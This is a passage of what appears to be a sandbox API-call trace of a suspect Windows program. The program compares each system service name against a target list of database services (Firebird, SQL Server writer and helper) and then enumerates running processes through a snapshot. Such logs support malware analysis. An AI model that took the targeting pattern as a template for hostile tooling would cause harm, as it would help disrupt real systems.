lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0290.932] lstrlenW (lpString="LanmanServer") returned 12 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0290.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0290.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0290.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0290.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0290.932] lstrlenW (lpString="LanmanWorkstation") returned 17 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0290.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0290.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0290.932] lstrlenW (lpString="lfsvc") returned 5 [0290.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0290.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0290.933] lstrlenW (lpString="lmhosts") returned 7 [0290.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0290.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0290.933] lstrlenW (lpString="LSM") returned 3 [0290.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0290.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0290.933] lstrlenW (lpString="MpsSvc") returned 6 [0290.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0290.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0290.933] lstrlenW (lpString="NcbService") returned 10 [0290.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0290.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0290.933] lstrlenW (lpString="netprofm") returned 8 [0290.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0290.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0290.933] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0290.933] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0290.934] lstrlenW (lpString="NgcSvc") returned 6 [0290.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0290.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0290.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0290.934] lstrlenW (lpString="NlaSvc") returned 6 [0290.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0290.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0290.934] lstrlenW (lpString="nsi") returned 3 [0290.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0290.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0290.934] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0290.934] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0290.934] lstrlenW (lpString="PcaSvc") returned 6 [0290.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0290.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0290.934] lstrlenW (lpString="PlugPlay") returned 8 [0290.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0290.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0290.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0290.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0290.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0290.934] lstrlenW (lpString="Power") returned 5 [0290.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0290.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0290.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0290.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0290.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0290.935] lstrlenW (lpString="ProfSvc") returned 7 [0290.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0290.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0290.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0290.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0290.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0290.973] lstrlenW (lpString="RpcEptMapper") returned 12 [0290.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0290.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0290.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0290.973] lstrlenW (lpString="RpcSs") returned 5 [0290.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0290.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0290.974] lstrlenW (lpString="SamSs") returned 5 [0290.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0290.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0290.974] lstrlenW (lpString="Schedule") returned 8 [0290.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0290.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0290.974] lstrlenW (lpString="SecurityHealthService") returned 21 [0290.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0290.974] lstrlenW (lpString="SENS") returned 4 [0290.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0290.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0290.974] lstrlenW (lpString="ShellHWDetection") returned 16 [0290.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0290.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0290.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0290.974] lstrlenW (lpString="Spooler") returned 7 [0290.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0290.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0290.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0290.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0290.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0290.975] lstrlenW (lpString="SSDPSRV") returned 7 [0290.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0290.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0290.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0290.975] lstrlenW (lpString="StateRepository") returned 15 [0290.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0290.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0290.975] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0290.975] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0290.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0290.975] lstrlenW (lpString="SysMain") returned 7 [0290.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0290.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0290.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0290.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0290.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0290.975] lstrlenW (lpString="SystemEventsBroker") returned 18 [0290.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0290.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0290.975] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0290.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0290.978] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.979] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.980] lstrlenW (lpString="System") returned 6 [0290.980] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.980] lstrlenW (lpString="smss.exe") returned 8 [0290.980] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.981] lstrlenW (lpString="csrss.exe") returned 9 [0290.981] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.982] lstrlenW (lpString="wininit.exe") returned 11 [0290.982] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.982] lstrlenW (lpString="csrss.exe") returned 9 [0290.982] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.983] lstrlenW (lpString="winlogon.exe") returned 12 [0290.983] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.984] lstrlenW (lpString="services.exe") returned 12 [0290.984] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.984] lstrlenW (lpString="lsass.exe") returned 9 [0290.984] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.985] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.985] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.986] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.986] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.987] lstrlenW (lpString="svchost.exe") returned 11 [0290.987] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.987] lstrlenW (lpString="svchost.exe") returned 11 [0290.987] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.988] lstrlenW (lpString="dwm.exe") returned 7 [0290.988] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.989] lstrlenW (lpString="svchost.exe") returned 11 [0290.989] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.989] lstrlenW (lpString="svchost.exe") returned 11 [0290.989] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.990] lstrlenW (lpString="svchost.exe") returned 11 [0290.990] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.991] lstrlenW (lpString="svchost.exe") returned 11 [0290.991] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.991] lstrlenW (lpString="svchost.exe") returned 11 [0290.991] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.992] lstrlenW (lpString="svchost.exe") returned 11 [0290.992] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.993] lstrlenW (lpString="svchost.exe") returned 11 [0290.993] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.993] lstrlenW (lpString="svchost.exe") returned 11 [0290.993] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.994] lstrlenW (lpString="svchost.exe") returned 11 [0290.994] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.995] lstrlenW (lpString="svchost.exe") returned 11 [0290.995] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.996] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.996] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.996] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.996] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.997] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.997] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.998] lstrlenW (lpString="Memory Compression") returned 18 [0290.998] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.999] lstrlenW (lpString="svchost.exe") returned 11 [0290.999] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.000] lstrlenW (lpString="audiodg.exe") returned 11 [0291.000] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.001] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0291.001] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.002] lstrlenW (lpString="sihost.exe") returned 10 [0291.002] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.003] lstrlenW (lpString="svchost.exe") returned 11 [0291.003] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.015] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.015] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.017] lstrlenW (lpString="msoia.exe") returned 9 [0291.017] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.017] lstrlenW (lpString="explorer.exe") returned 12 [0291.017] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 